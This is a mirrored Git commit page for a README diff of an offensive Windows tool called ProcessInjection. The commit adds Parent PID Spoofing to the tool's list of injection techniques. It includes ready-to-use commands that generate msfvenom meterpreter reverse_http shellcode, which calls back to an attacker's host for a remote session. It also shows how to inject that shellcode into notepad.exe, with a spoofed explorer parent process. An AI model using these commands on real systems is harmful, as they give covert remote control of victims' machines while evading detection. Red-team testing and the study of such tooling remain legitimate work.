admin/3xpl01tc0d3r-ProcessInjection
1
0
Fork 0
mirror of https://github.com/3xpl01tc0d3r/ProcessInjection synced 2026-06-06 15:14:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Parent PID Spoofing Technique Added

Browse Source
This commit is contained in:
r3nhat
2019-10-19 00:24:03 -07:00
parent 80049cfcbb
commit 9bb491df3d
1 changed files with 7 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+7 -1
View File
@@ -8,8 +8,9 @@ Currently the tool supports 3 process injection techniques.
1) Vanila Process Injection
2) DLL Injection
3) Process Hollowing
4) Parent PID Spoofing
Vanila Process Injection and Process Hollowing
Vanila Process Injection, Process Hollowing and Parent PID Spoofing
Currently the program accepts shellcode in 3 formats
1) base64
@@ -39,6 +40,11 @@ Currently the program accepts shellcode in 3 formats
Generating shellcode in c format and injecting it in the target process.
msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b "\x00" -f c
ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /f:c /t:3
Parent PID Spoofing
Generating shellcode in c format and injecting it in the target process.
msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f c
ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /parentproc:explorer /f:c /t:4
### Blog Post